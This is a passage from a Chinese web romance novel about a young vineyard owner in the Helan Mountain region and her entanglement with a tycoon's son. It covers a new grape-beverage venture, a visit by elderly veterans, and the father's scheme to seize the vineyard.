“不过酒庄要倒闭关门了。”羊明煦咧嘴笑着说:“各位大佬要是认识什么大老板,也帮我问问,看有没有想买酒庄的。”
贺兰念拧眉沉默,她第一次知道羊明煦家里是这种情况。
程回若有所思的看羊明煦一眼,蓦地,道了句:“行。”
饭桌上安静片刻。
赵幸北看向程回和贺兰念,开口:“我昨天联系了那几个酒厂老板,给他们提了点价钱,他们就都愿意抛下周家,继续原来的计划。”
贺兰念听得一头雾水:“?”
程回脸上没有丝毫意外,他似早就料到如此,冷笑了一声:“看来都不傻。”
“少了周家的提成,他们能拿到更多,抛下周家是毋庸置疑的。”赵幸北冷漠道。
听到程回和赵幸北的对话,贺兰念脑海渐渐浮现一个大胆的猜测:昨天中午程回跟赵幸北不会在演戏吧?程回用葡萄园所有权吓唬酒厂老板,表面阻止他们的计划,其实只是程回和赵幸北演给周砚看的!程回并没有想阻止什么,他只是阻止了周砚参与这个计划!
这就是所谓的,空手套白狼?顺便把周砚踢出局?
想到这极大可能就是真相,贺兰念目光复杂地看向程回。
察觉贺兰念的目光,程回几乎理所当然道:“我不喜欢周砚。”
他就这样承认了......
贺兰念:“......”
“我选了杨志国的厂子,打算把他的厂收购了,再此基础上进行扩建。”赵幸北道,“也不用等到明年,今年把饮料做出来就可以投入市场。”
赵幸北顿了一下,看向楚若,“至于宣传......”
楚若咽下一口番茄炒蛋,“只要代言费OK,其他都好说。”
贺兰念:“!!!”
贺兰念不能不为赵幸北的执行力折服。
“这个你自己做好计划,我可以投资。”程回淡声道,“不过,我懒得做短期投资,你最好有长远计划。”
赵幸北似是早就想好,很快道:“我看这边不仅有葡萄,其他水果也可以制作果饮,倒是能做个长远打算,建成西北最大的饮料加工厂。”
程回这才满意道:“行。”
“......”
贺兰念叹为观止,她不由看向程回,如果按照赵幸北的计划顺利进行,那以后整个贺兰山产区的鲜食葡萄销售将跃上一个新台阶,长期更是如此。
贺兰念看着程回呆住。
原本吃饱喝足懒散闲坐的程回察觉,他弯了弯唇角,坐起身把手肘搭在桌面上支着侧脸,好整以暇看着贺兰念,温声问:“想问什么?”
贺兰念下意识把心中的疑惑问出口:“你之前是做什么工作的?”
程回微挑了一下眉,并未隐瞒,“算是风险投资。不过没正经干。”
他立马又道:“以后会正经干,放心。”
“......”贺兰念扭过头,不再理会程回。
羊明煦见大家讨论完,他听了个大概,忍不住问:“你们刚才是说,要在这边建酒厂吗?”
没等回答,他又道:“带上我带上我,我会种葡萄,也会酿酒,只要是葡萄园的事我都会,要不然我家的酒庄你们也拿去投资一下?”
贺兰念听出羊明煦误会他们说的是酿酒葡萄。
贺兰山产区种植的酿酒葡萄大多还只是作为工业原料提供者的角色,没有完善的葡萄和葡萄酒产业,终究只能仰人鼻息,看人脸色吃饭。只要酒厂和酒庄压低价格,就有可能亏本,但若是酒厂和酒庄不收,结局只能烂在地里。
但如果把酿酒葡萄制成其他副产品,违背了种植它的初衷,这也是贺兰念不愿意看到的。
贺兰念心有不忍解释:“不是酒厂,是饮料厂。”
明白贺兰念的意思,羊明煦脸上闪过失落。
这时,惜儿看着门口“咦”了一声,疑问道:“那位哥哥是谁?”
贺兰念扭头,看见了程净。他坐在门外一个石墩上,身体被木栏门挡了大半,不仔细看都看不出。
被发现后,程净站起来拍了拍裤子上沾的土。
相比之前总是成竹在胸的轻松自得,此时,他表情略显僵硬的看了看贺兰念,最后目光落在程回身上,眼中极快闪过嫉妒、不甘、愤怒、怨恨等诸多复杂的情绪。
看见程净,贺兰念心中升起一股不太好的预感,如果程净把他们刚才的话都听到了,那他会告诉周砚吗?贺兰念记得他好像跟周墨关系不错。
一旁赵幸北看见程净也拧了下眉,他自然清楚程净跟程回的矛盾,程净不会让程回好过,程英纵也不允许程回帮贺兰念解决葡萄销售问题。
只有程回冷淡扫了一眼,一
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脸漠不关心。
“好久不见啊美人姐姐~”程净对着贺兰念笑了下,看着有丝牵强。
“......”
贺兰念每次听到这个称呼都尴尬不已,她刻意忽略身边骤然开始冒冷气的程回。
“找我有事吗?”贺兰念问。
程净摇了摇头,他目光稍冷,看向程回,“不,我今天是来找我哥的。”
程回眼皮子都没抬一下。
羊明煦一脸懵看看这个看看那个,不明所以道:“谁是你哥?”
很快,他发现大家都没有说话,也缩了缩脖子,不再说话了。
程净弯了弯唇,开口:“话说前几天我还见了容伯母——”
程回倏地看向程净,眼神看起来要把程净凌迟了。
程净胆颤了一下,不过他很快整理好自己的表情,微笑等着程回,似是料定程回一定会跟他走。
程回起身,向农场外走去。
程回跟程净站在农场外一颗杨树下说话。
贺兰念看着程回的背影,她再一次从程净口中听到了“容伯母”这三个字。
上次听到,程净当着众人的面说她是疯子......贺兰念想起那次在酒店的电梯看见程回,他跟她说顶楼是他母亲,而他母亲的下落不能让人知道。
可是刚才,程净却说见到了“容伯母”,所以程回才这么大反应吧......贺兰念心中不好的预感越来越强烈。
*
杨树下,程净脸上惯常故作甜美的表情褪去,一张偏阴柔的脸冷下来,几乎显得阴狠。
“程回,爸爸可不是让你来帮贺兰念解决问题的。”程净嘲弄道,“你该不会要违背爸爸的意思吧?”
程回轻淡的扯了下嘴角,“怎么?又接到你爸的任务了?让你来威胁我?”
“......”
程净讨厌程英纵是他爸,更讨厌这件事被程回提!他主动提及是因为他知道程回同样讨厌这件事,但每次程回的回答都是把自己撇干净,把他推给程英纵!
程净被程回一句话气得胸闷,不过他想到什么,冷呵了一声。
“程回,你以为你不承认,程英纵就不是你父亲了吗?”程净表情扭曲道,“比起我,你母亲也算是做了程英纵的妻子吧?”
程净话音一落,程回的脸立刻变得极难看。
见状,程净终于舒了一口郁气,他几乎欣赏的看着程回的表情。
想到什么,程净的表情又扭曲起来。
“不过,程英纵还真是看重你啊!为了你,不仅把你母亲歌女的身份伪造成家世不错的小姐,还让她做了他名义上的妻子。”
“这可全是因为你啊程回!”程净突然情绪激动喊道,“为了让你有个合理的身份,不再背负私生子的名声!”
程净讥讽的看着程回,“你瞧,程英纵对你这么良苦用心,你不认程英纵这个爸爸,合适吗?”
当年程英纵把程回和他母亲容筠接回程家后,他越来越看重程回的聪明和对金融天才般的天赋。但他看不上容筠,确认培养程回做他的接班人后,他为了重塑自己的形象,以及让程回有正当身份,不惜伪造容筠富家千金的身份,并对外宣称容筠是他妻子,程回是他儿子。
但只是对外宣称,程英纵自然不可能跟女人领证结婚,只是这件事外人不知道罢了。
“说完了吗?”程回冷声道,“你要是羡慕这一点,我不觉得抱歉。”
“我羡慕?”程净大笑,“不,我才不羡慕!”
他的笑倏地止住,他一点都不羡慕程回是程英纵名义上唯一的儿子,因为他清楚的知道程回没比他好多少,他们都在地狱里,在程英纵操控的地狱里!
但是,想到刚才程回跟一堆朋友其乐融融的画面,程净就觉得无比刺眼!
他绝不允许程回脱离程英纵的地狱,幸福的活着!
程净平静下来,盯着程回道:“你喜欢贺兰念?你想帮她。可惜,我不想让你们如愿。”
“放弃贺兰念吧哥哥。”程净道,“不然,我可不保证程英纵会不会知道容伯母在哪里~”
程回眯了眯眸,他蓦地轻呵了一声,牙齿森白,几乎咬着声音说出:“你试试。”
“......”
程净看着程回离开的背影,狠狠咬了咬牙。
42. Chapter 42
楚若看着惜儿,眸中闪着疑惑,“话说,宝贝你这张脸,我怎么感觉那么熟悉?”
贺兰念倏然愣住。
惜儿疑道:“姐姐之前见过我?我怎么没有印象?”
楚若不确定的摇了摇头,一时想不起来哪里见过一张相似的脸,“算了,应该大美女和小美女都是相似的,再见了宝贝~”
惜儿便朝离开的楚若和赵幸北挥手告别:“再见漂亮姐姐,再见赵哥哥~”
贺兰念发了好一会儿呆,她不自觉拿起手机,在搜索引擎框里输入“麦冬”两个字。
网上麦冬的信息不少,贺兰念浏览了会儿,重点查看了麦冬最近的行程。
没看到麦冬有来西北的计划,贺兰念暗暗松了一口气。
“看什么?”程回的脸从贺兰念肩头探出,把贺兰念吓一跳,她下意识盖住手机,“......”
程回“啧”了声,他从背后踱到贺兰念面前,审视的盯着贺兰念。
“贺兰念,什么秘密这么背人?”
贺兰念:“......”
贺兰念无力招架程回的目光,慢慢道:“程回,你是不是也该走了?”
程回没吭声。
“或者你留到晚上,李折爷爷和......”贺兰念顿了一下,“他们还过来。”
程回:“......”
程回还是走了。
贺兰念想不通程回为什么这么不想见程绥。
大门又传来开门声,贺兰念以为程回忘记带东西又回来,回头,却见周砚站在门口,眼睛阴沉怨恨的盯着她。
贺兰念哑然看着周砚。
“贺兰念,你还真是厉害!”周砚恶意的看着贺兰念,“搭上程回不够,现在又勾上赵幸北是吧!怎么?我没有他们厉害,活该被你抛弃是吧!”
贺兰念的脸骤然冷下来,周砚竟然这样认为!而且听他的语气,好像她在感情上对他始乱终弃一般。
“周砚,这件事是我对不起你,我可以向你道歉。”贺兰念尽量冷静道,“你这边的损失,以后有机会我会补偿你们。”
“补偿?”周砚不屑轻呵了声,“你拿什么补偿?身体还是金钱——”
“但是!”贺兰念冷声打断周砚的话,神色逐渐冷漠,“你应该知道在商言商,你这样又泼脏水又扯私人感情,我觉得没有必要。”
周砚听出贺兰念在点他商场本就残酷,意识到贺兰念态度变得冷硬,周砚愈发生气,他怒声道:“贺兰念,你敢教训我?你以为你有什么了不起的!还不是靠一个又一个男人!”
“贺兰念,我会让你为今天的行为付出代价的!”
看着周砚愤而离开的身影,贺兰念拧了拧眉,叹息一声。
又想到麦冬,贺兰念心情更差了。
*
傍晚未到,李怀璧他们就回来了,一起下车的还有当初贺兰念和程回借宿的治沙老人。
老人名叫伍安,曾经跟李怀璧一个连,李怀璧是他连长,这次李怀璧过来就是看他这些战友的。
惜儿跑出去迎接,李怀璧提出让贺兰念跟他们去葡萄园和外面的戈壁转转。
车子开过沙漠,一座座起伏的沙丘,在强劲的东风下,卷起片片流沙,蛇似的咝咝作响。
荒凉的戈壁滩外渐渐出现一大片树林,七八万棵白杨、国槐和旱柳形成了坚固防风固沙的林带。
“当初决定要发展这片土地时,李碑就知道必须要种出大量的树木来防沙尘暴。”伍安看着那道防护林,微微叹了一口气,“你们也知道,西北这个天,不管什么季节,沙尘暴说来就来了,一刮就好多天没完没了,戈壁滩上一条能走的路都找不到,什么都做不成。”
李怀璧和程绥也看着防护林,眼中有丝动容,没有说话。
“先治坡,再置窝,一顶帐篷建起房,两捆稻草就是床,三块土坯支口锅。”伍安说着当时开发西北的口谣,“平沙丘,挖土方,整田地,种粮食,热火朝天换天地!”
李怀璧也叹道:“贺兰山下果园成,塞北江南旧有名。”
都说,北纬38°线划过的地方,能种出极佳的酿酒葡萄。
车子开进一片一片白杨护卫的种植区,就开进了葡萄园。
惜儿去牵了李怀璧和伍安,贺兰念便走到另一边,扶着程绥下车。
程绥冷硬严厉的脸浮现柔光,没有拒绝。
一行人走在葡萄园,大概见到老领导,伍安话多起来,他一直跟李怀璧和程绥说话,说起往事,说起这些年的经历。
“我是个只会听命令的愚人,进社会也混不出名堂,比不上你们,一辈子在这铺点草倒落个清静。”伍安道。
“你这话说得我老脸都不知道往哪搁咯。”李怀璧叹道,“论为国家为人民做的贡献,你的十分之一我都比不上。”
伍安沉默了一阵。
“李碑是个真正的好人。有理想,有能力,也有魄力,他如果还活着——,”伍安没说完,叹惋道:“可惜,好人不长命......”
贺兰念扶着程绥的手僵了下,程绥察觉,拍了拍贺兰念的胳膊。
李怀璧下午听说了李碑这些年在西北干的事,也听说了他车祸的事,“肇事司机找到了吗?”
“......司机疲劳驾驶。”贺兰念道。
开大货车疲劳驾驶,遇到沙尘天气看不清路况,司机没有逃逸,第一时间拨打了急救电话,法院判了五年有期徒刑。
对方受到了处罚,贺兰念只能接受这个结果。
沉默了会儿,李怀璧扼腕长叹道:“你爸爸是个伟大的人。”
“世事无常——”他张望着一望无际红绿相间充满希望的葡萄园,道,“前人栽树总有后人施肥,因为有这样的传承,所以这个世界春去秋来,却始终生生不息。”
......
逛完葡萄园已是落日时分,贺兰念带着三个老人回到家中。
贺兰念母亲那边祖上单薄,贺兰念外公外婆早早过世,而李碑来西北后也很少跟家里的人联系,家里几乎没有过老人。
变故后,更是只剩下贺兰念和惜儿,现下突然住进来三位老人,院中一下子热闹了不少。
李怀璧、程绥、伍安和惜儿一人一个躺椅,舒舒服服躺在院中乘凉,三个老人在聊天,中间偶尔插一句惜儿稚嫩的询问声。
李怀璧和程绥都带了警卫员来,两个警卫员在厨房做饭,李怀璧不让贺兰念插手,贺兰念便乐得清闲,坐在木桌旁听他们说话,原本只是无意听,直到慢慢竖起耳朵。
李怀璧瞄了眼程绥:“老程,我说句话你别不爱听。”
程绥正闭着眼享受,闻言微微睁眼看了眼李怀璧,他冷声一哼,丝毫不给面子道:“知道我不爱听就别说。”
“那我偏说。”李怀璧说完,自己先笑了。
“......”程绥眼不见心不烦似的,又把眼闭上了。
“我下午就想问你了,一直没机会,”李怀璧索性坐起身,看着程绥问道,“今天上午,院中站着的那个年轻人看到了吗?”
程绥没说话。
“你不说我也知道你看见了。”李怀璧道,“他就是程回。”
看着程绥无动于衷的样子,李怀璧叛逆似的凑到程绥身边,对着他的耳朵说:“你亲孙子。偷着乐吧!”
“............”
程绥颇为无奈睁开眼,问李怀璧:“我有什么值得乐的?”
“咦?你问这种问题?”李怀璧蹭着站起来,他看了眼惜儿和贺兰念,不无羡慕嫉妒道,“你自己知道你偷着乐什么!”
程绥倒是一时没明白。
李怀璧看向惜儿,“惜儿,你跟你程爷爷说说。”
惜儿想了想,道:“程哥哥人很好的。”
她一脸努力思考的摸样,“程爷爷是程哥哥的爷爷,程哥哥又厉害又好看,所以,程爷爷是该高兴。”
李怀璧眼神往贺兰念那边示意,提醒惜儿:“再想想还有没有其他关系?”
惜儿歪头看着贺兰念,了然大悟般“哦”了一声!
“今天程哥哥说要跟念念结——唔!”
贺兰念一个箭步跑过去捂住惜儿的嘴,心跳紊乱。
程绥不知想到什么,他缓缓睁开眼,若有所思。
他看向惜儿,神情看起来有丝挣扎,道:“你说他人好?”<
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p>惜儿的声音从贺兰念手指缝发出:“是唔——”
见程绥看过来,贺兰念不好意思的放开了惜儿。
贺兰念见已然拦不住,索性走开,“我去厨房看看。”
两大一小看着她离开,只有伍安似早就知道什么,淡定的躺着未动。
李怀璧用拐棍捣了捣伍安,“你小子怎么回事?年轻的时候不是好奇心挺重的吗?怎么现在一点好奇心都没有?”
伍安坐起来,一脸正经认真开口:“这件事我前几天已经知道了。”
“你知道了?”李怀璧不可置信。
“咦?伍爷爷怎么知道的?”惜儿好奇。
程绥也看向伍安。
伍安便把前几天贺兰念和程回因沙尘暴住在他家的事说了。
他眼神坚定,语气笃定道:“我当时一眼就知道两人耍着朋友呢!”
端着菜跨出房门的贺兰念听见这句话,表情裂了裂,明明她当时就反驳了......怎么还这么认定啊!
贺兰念咳了一声。
几颗聚在一起激烈讨论的脑袋瞬间弹开。
“吃饭了。”贺兰念道。
李怀璧立马高兴应道:“好好好!吃饭吃饭!”
*
农场外,一辆黑色轿车慢慢停在某个不容易被看见的角落。
车窗降下,程英纵看着院中围着木桌说笑吃饭的人,目光在程绥身上停留了片刻。
坐在另一边的程净同样看着那个被欢乐和温馨环绕的院子,他脸上没有了花里花哨的表情,沉默下来,眸中微芒闪烁,不知在想什么。
车内有那么一会儿,寂静的能听到呼吸声。
程英纵打破沉默,问程净:“今天找我什么事?”
程净抿了抿唇。不知道为什么,他看着那边光明的像正派的人和场景,而自己只能跟程英纵躲在黑暗的角落,偷窥着那抹光明,并试图打破那幸福......
程净突然后悔来找程英纵,他越发讨厌程英纵,恨不得自己立马消失,再也看不见程英纵那张脸,更不想跟他说容筠的下落。
“我就是想跟你说,爷爷来这里了。”程净说,“而且,爷爷好像见过哥哥了。”
没有预兆的,程英纵像被踩了尾巴,大声斥骂道:“见过就见过,有什么值得说的!”
程净很小就害怕程英纵黑脸,几乎下意识的,他身体颤了下。
手指蜷缩握住又伸开,程净脸上挤出一抹笑,讨好道:“我只是有点担心,爷爷如果出手帮哥哥,会阻碍您的收购计划。”
程英纵还没想到这方面,一下子愣住了。
程绥会帮程回吗?
半晌,程英纵道:“不可能,他早都跟我断绝关系了,怎么可能去管程回。”
“可是——”程净看着坐在程绥对面的贺兰念,欲言又止。
程英纵不耐烦问:“可是什么?把话说完!”
“可是,我看爷爷还挺喜欢贺兰念的,不知道会不会帮她。”程净道。
程英纵脸沉下来。
“而且,”程净顿了一下,忍着心底的酸意嫉妒,把自己另一个猜测说出,“如果贺兰念也喜欢哥哥......不知道那时候爷爷会不会为了他们两个插手做些什么?”
程英纵:“............”
程英纵心里不由危机四起,本来程回不受他掌控他就很恼火,现在程绥突然来西北又住在贺兰念家里,他不敢明目张胆逼迫贺兰念,如果程绥再插手帮贺兰念,那他的收购计划......
他绝不允许这种事发生!
前座,一直没说话的魏梁这时开口:“要是贺兰念真的爱上程回,事情倒好办多了。”
程英纵愣了下,“怎么说?”
“爱情会让人身不由己。”魏梁说。
程英纵嘲弄笑了下,不过很快,他想到什么,醍醐灌顶道:“我怎么没有想到呢!让贺兰念爱上程回,事情可不就简单多了!”
“毕竟女人都是愚蠢的可以为爱情放弃自己的动物,何况一个葡萄园。”又想到什么,程英纵眼中闪过野兽的兴奋,“爱情?为什么不利用这所谓的爱情给程回一个深刻的教训!”
43. Chapter 43
这天,贺兰念接到赵幸北电话,他已经收购了杨志国的工厂,还调配出了几款不同类型的饮料,让她去品尝。
贺兰念赶到的时候,工厂车间,没有品牌标签的饮料瓶一字摆在桌子上。
围着桌子的除了赵幸北,还有程回。
看到程回,贺兰念眼前一亮。
程回竟然穿了带有绿色元素的白T和浅蓝色牛仔裤......明亮?新鲜?眉眼间的暗丽裹上一层明媚,让人眼前一亮又一亮,心脏都停拍了。
贺兰念没想到新鲜这个词有一天会用到人身上。
还是程回身上。
因为程绥在她家住着,程回这两天一直没有出现。
不过这两天李怀璧和惜儿倒是没少在程绥面前说程回的好话,听得贺兰念耳朵都要起茧子了。
贺兰念走过去,俯身看了看瓶中饮料。程回走到她身边,跟着贺兰念同样的动作,弯腰低头看了看。
贺兰念起身,程回也起身,挨着她站着。
贺兰念:“......”
赵幸北拿来一次性杯子,把每种饮料各倒了三杯,“尝一下。”
贺兰念挨个品尝,她平时不太喝饮料,其实也没尝出什么。
“有什么问题想说?”赵幸北问。
贺兰念沉吟片刻。
“里面添加的成分,我希望是健康的。”贺兰念道,“我只有这一个问题。”
“除了必要的功能性添加,其余都用葡萄汁制作。”赵幸北道,“放心,这一点我跟你保持一致。”
贺兰念点了点头,“谢谢。”
赵幸北又看向程回。
程回:“一样。”
赵幸北:“......行。”
“下一个问题。”赵幸北道,“品牌名字?”
程回挑了下眉,无所谓道:“都行,我听贺兰念的。”
贺兰念:“......”
赵幸北看向贺兰念,“你想一个你喜欢的吧。我都可以。”
贺兰念之前有想过这个问题,见状也不再推辞,道:“那就叫‘贺兰山’吧,你们觉得怎么样?”
品牌叫贺兰山,不管对贺兰山这个地方本身,还是贺兰山的葡萄产业,都会起到宣传的作用。
而且,如果饮料能火,贺兰念想着或许还会有更多人关注到贺兰山的葡萄酒,也不枉是打开知名度的好机会。
赵幸北的“可以”还没有说出口,程回一锤定音道:“就叫这个名字。”
“......”被秀一脸的赵幸北漠然翻了个白眼。
赵幸北语气坚定,看起来已做好决定开口:“我打算让楚若全线代言。”
楚若无疑是当下最红最热的女星,而且她拍戏代言全凭喜好,一般很难请到,赵幸北能让楚若来代言当然最好,对此贺兰念没有任何异议。
而程回显然对这个问题不感兴趣,他兴致缺缺道了句:“随你。”
赵幸北:“......”
贺兰念又道:“我也会在我的视频号上宣传。”
“行。”赵幸北赞同,“麻烦你了。”
“说完了吧?”程回问。
赵幸北:“说完...了?”
程回看向贺兰念,“贺兰念,走了。”
贺兰念:“?”
“愣着做什么?”程回走了两步,回头催促贺兰念。
贺兰念不明所以跟上去,又回头跟赵幸北招了下手告别,跟上程回的脚步后问:“去哪?”她葡萄园和家里还一堆事呢......
“散步。”程回道。
“什么?”
大早上?去散步?
贺兰念狐疑看着他,“散什么步?”
“......”这个问题倒是把程回问住了,他换了个说法,“逛街。”
“......”大早上去逛街也没好多少,贺兰念拒绝道:“不去。”
程回沉默片刻,声音平成一条线,再次开口:“那,去看电影。”
“......不要。”
“......”
程回停下脚步,看向贺兰念。
“那就去逛街。”程回说。
“......”
又是逛街又是看电影,贺兰念慢慢意识到什么,程回这是......在想跟她约会吗?
贺兰念张了张口,拒绝的话到嘴边。
似有所感,程回先道:“贺兰念,一个小时后再拒绝我。”
他声音很轻,眸中似有脆弱的祈求,“只一个小时。好不好?”
贺兰念心脏剧烈跳动了下,鼻头猛地一酸,垂下眸,沉默下来。
“不说话就当你同意了。”程回低下头与贺兰念平视,对着贺兰念笑开。
“............”
他脸上的笑耀眼的不敢让贺兰念直视。
程回小心翼翼朝贺兰念伸出一只手。
贺兰念看着那只白净修长的手。
半晌,贺兰念拍掉那只手,没有牵。
“只有一个小时。”贺兰念转身往前走。
程回看一眼被拍掉的手,他攥了下手掌,追上贺兰念。
程回手牵上来的一瞬间,贺兰念心脏狠狠麻痹了一下......她很快试图挣开,但程回攥的很紧。
“程回,不牵!”
程回扭脸,见贺兰念拧着眉,漂亮的脸都快皱到一块去了,一股莫名的喜悦毫无预兆席卷他全身,又迅猛又强烈,他蓦地笑了,伸手就要抚贺兰念的脸。
贺兰念撇开脸,躲开。
程回不依不饶,一定要抚平她紧皱的眉头。
“程回!”
贺兰念恼怒喊他,扭头的瞬间被程回捉住脸,他另外一只手不肯放开她的手,这只手一定要抚平她别扭的脸。
最终,都如愿。
“贺兰念,你想去哪里散步?”
贺兰念:“......都行,看你喜欢。”
“那去——,”程回脸上带着笑意,近乎认真道,“雷克雅未克?斯德哥尔摩?奥斯陆?奥克兰?魁北克?都去好不好?”
“.........程回你有病啊?”这都是什么世界尽头的城市?
“嗯,是有点。”程回声音蕴着笑意说。
“......”
贺兰念自然不会把程回的话当真,实际上,他们在西北这座不算富裕也没有什么特色的城市,等他们到达这座城市某个小镇某条街道时,一个小时已经用完了。
一个小时,足以让贺兰念满足,也足以让她,清醒。
贺兰念在心中告诫自己,程回受程英纵的意来西北,是来买她家葡萄园的,这是她跟程回之间无法忽视的冲突,她不能跟程回是现在暧昧不清的关系!
她必须拒绝程回......
贺兰念想着怎么拒绝程回后离开,不经意的一瞥,看到街上羊明煦的身影!
“羊明煦!”贺兰念喊。
羊明煦猝不及防看见贺兰念,第一反应就是躲,他手里捧着两杯奶茶,东躲西藏这窜那窜,直至发现躲无可躲。
“......”贺兰念眼神呆滞的看着他在人来人往的街上慌慌张张丑态百出......直到看到羊明煦身边同样无语的苏馥,贺兰念立马明白了怎么回事。
羊明煦竟然在跟苏馥约会!
不过,好像也没什么好惊讶的,上次羊明煦就说过他喜欢苏馥。
都怪她刚才太紧张只看见了羊明煦没看见苏馥,现在打扰了羊明煦的约会,贺兰念有点不好意思。
程回停车后,贺兰念立马跳下车,朝羊明煦和苏馥那边走去。
“好巧,你们出来逛街啊?”贺兰念歉意的对着苏馥笑了下,“不好意思打扰你们了,不过,我可能找羊明煦有点事......真的很抱歉!”
苏馥瞄了眼车里的程回,眼睛洞察秋毫似的闪过一抹了然,她微微一笑,道:“没关系。”
羊明煦感觉贺兰念可能遇到麻烦,一脸鬼祟走了过来。
贺兰念犹豫着,压低声音对羊明煦说:“一会儿我跟程回说跟你回农场有事,你能不能不要拒绝?”她又看向苏馥,“只是这样说,之后你们继续逛,我自己回去。”
羊明煦疑惑的目光在贺兰念和程回身上摇摆,想问什么又没问,对贺兰念点了点头,“好。”
这边,苏馥收到程回警告的眼神,心里咯噔一声,犹豫着帮谁?
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手机就在这时响了,看是魏梁打来的,苏馥点了接听后,对贺兰念比了个OK的手势。
见状,贺兰念走回去。
程回已经下了车,他倚在车上定定看着贺兰念,像是已经知道了她要说什么。
贺兰念在程回身前站定,她知道自己有多扫兴,有多不应该在这个时候拒绝程回......贺兰念垂在腿边的手慢慢攥紧,最终狠下心看向程回,开口:“程回,一个小时已经到了。”
听到贺兰念说出这句话,程回身体僵了下。
气氛凝固,两双眼睛对视着,谁都不肯让步。
苏馥走了过来,她似没看到僵持的气氛,面色如常对程回说:“程总找您。”
程英纵找程回?
不知为何,一想到程英纵要找程回,贺兰念心中就有种隐隐的不安,她不由担心的看向程回。
程回目光还紧紧锁在她身上,平静的,又似岩浆翻涌的眼神......看得贺兰念心惊胆颤。
“那,我先走了......”贺兰念喉咙发紧,如果视线能具象,她看着程回的视线一定是惊惧的波状形。
蓦地,程回低下了眸。
他不再看她,似是默认她的离开。
一刹那,他情绪低落的仿佛跌落深渊。
苏馥看了羊明煦一眼,示意羊明煦带贺兰念先走。
理智和情感在贺兰念脑海打架,撕扯的她全身都痛起来。
脚步沉重的千斤重。
坐上羊明煦的车后,贺兰念忍不住往程回站着的方向看了一眼。
阳光越来越烈,街上的人都站去了背阴的地方,只有程回始终站在那里,一动不动,热浪翻涌的阳光照在他身上,却照不透他一声的阴沉冰冷。
贺兰念离开后,苏馥微叹了一口气,看向程回。
“程总让您过去找他。”
程回低着头,苏馥看不清他的表情,也完全摸不透他在想什么。
好在苏馥没等多久,听见程回说:“让他过来找我。”
除了声音冷一点,看起来问题不大,苏馥稍稍放心。
即便为难,苏馥还是拨了魏梁的电话,表达了程回的意思。
并未多久,一辆车停到程回身前。
车窗降下,车内的程英纵扭头看见程回坐在街头失魂落魄的模样,嫌弃的冷哼了一声。
“程回,你想娶那个女人。”程英纵拧着眉,“我同意了。”
程回慢慢抬头看向程英纵,他对程英纵的自信感到匪夷所思的不屑,“我需要你同意?”
不知想到什么,这次程英纵并没有被程回的态度惹怒,他一脸深意道:“你会感谢我的。”
“我会帮你娶到那个女人。”程英纵冷笑一声,“不管你愿不愿意。”
“当然,你跟我合作最好。”
程英纵见程回不说话,以为程回动摇了,又道:“跟那个女人结婚,带着她远走高飞。这不就是你现在最想做的事吗?我都可以帮你。”
程回沉默着。
程英纵并不着急,没有人比他更了解程回,就算这段时间贺兰念可能影响了他,但他骨血里是掠夺,是为了得到,不择手段的掠夺!
这是他这十几年教给他的生存之道!
“条件?”
听到程回的声音,程英纵一脸早知如此的表情,他满意的弯了弯唇。
“我只要葡萄园。”程英纵说。
程回蓦地轻呵了一声:“你以为我会相信?”
“......”程英纵自信的笑倏地僵在脸上。
“不用你帮忙。”程回确定道,“我们一定会在一起。”
“一定?你说一定就一定?”程英纵冷声道,“程回,这个世界没有一定的事!就算有,我也能改变那个结局!”
“再说,你一定,贺兰念可不一定。”程英纵补充。
程回:“......”
“顺便提醒你一句,你别忘了你的母亲。”程英纵冷哼一声,“你以为你把你母亲转移走,我就找不到她了吗?”
程回瞳孔一缩,死死盯着程英纵。
车窗渐渐升上去,程英纵在车内说:“我等你改变主意后来找我。”
44. Chapter 44
李怀璧和程绥在贺兰念家住了五天,期间程回始终没有来见程绥。
这天上午,贺兰念送走他们从机场回来,赵幸北过来,跟愿意合作的葡萄园主们签了葡萄长期采购协议。
中午大家伙在镇上广场摆了宴席,一是庆祝合约签订,二来答谢贺兰念和赵幸北对促成合作的付出。
大家伙没怎么见过程回,也没有人知道程回才是这次合作的关键。
算起来,资金和资源基本是程回一个人搞定,在这个层面上,贺兰念和赵幸北只能算是执行人而已。
但程回却没有出现。
贺兰念犹豫许久,想问一下赵幸北有没有通知程回,最终又作罢。
以赵幸北做事的周全,肯定会事先通知程回,现在程回没有来,要不他不想来,要不就是被什么事绊住了,贺兰念觉得她再问也没多大意义。
宴席散场已经两点多,即便赵幸北看起来始终游刃有余,离开时脚步也有些虚浮,这还是贺兰念在中间拦着的结果。
一坐上车,赵幸北就仰头靠在后椅上闭上了眼,混混沌沌间,他总觉得忘记跟贺兰念说什么事了......
车外,贺兰念看着赵幸北的车渐行渐远,叹息一声,还是不知道程回的消息......贺兰念低头盯着自己的脚尖,明明是自己拒绝的,她为什么会有点难过呢?
根本就没有资格难过......
贺兰念在心里把自己骂了一顿,骂自己的虚伪,弱懦,没资格,惺惺作态!
好在,只是有点难过,一点而已......贺兰念吸了吸鼻子抬起头,转身离开。
酿酒葡萄能销到国外,鲜食葡萄的销售问题也解决了大半,事情开始朝好的方向发展了。
这天下午,贺兰念难得放松,她坐在大枣树下,看着羊明煦和惜儿在农场赶着动物玩闹。
门口,魏梁推开木栏门,他看了一圈极具家庭气息的农场,最后目光落在贺兰念身上,他上次见到贺兰念就觉得她内心有很多强大的东西的支撑着她,现在看到这个温馨温暖的家,他隐隐约约摸到答案。
贺兰念也看见了魏梁,看着他走到她身前,朝她微微颔首,态度严谨恭敬。
“贺兰小姐,又见面了。”魏梁道。
贺兰念记得魏梁,上次程英纵对她发出禁止与程回恋爱警告时,是魏梁带她过去的。
“你好。”贺兰念对魏梁无疑是戒备的,也知他无事不登门,只是不知这次是事关程回,还是葡萄园。
魏梁看着贺兰念的眼睛,那双眼睛透出平静和敏锐,他早就知道贺兰念是极聪慧的,上次谈话程英纵都没从她这里占到半点便宜。
魏梁不敢掉以轻心,每句话都细细斟酌。
他走到贺兰念对面坐下,温声开口:“想听听程回的过去吗?”
贺兰念眸光微动,没说话。
魏梁便自顾自道:“我二十五岁开始跟程总做事,那时候程回还没回程家,跟他母亲一起生活,不知道你有没有听说过他母亲,他母亲是个歌手。”
“如果在你之前,程回在这个世界上还有在乎的人,那个人便只有他的母亲。”
贺兰念依旧不言。
“他母亲疯了。”魏梁顿了一下,“是因为忍受不了程英纵的薄情,和那些不断找上门的情人和私生子,渐渐精神崩溃的。”
“那时候程回在国外上学,回来看到母亲疯了,就把所有的错怪在程英纵头上。”魏梁声线平和,“所以,他们父子才成了现在这样剑拔弩张的样子。”
魏梁话锋一转,“程总当然是最看重程回的,不然也不会为了让他身份正当,娶他母亲做妻子。只是程回太固执了,他认定他父亲有错就不肯原谅。”
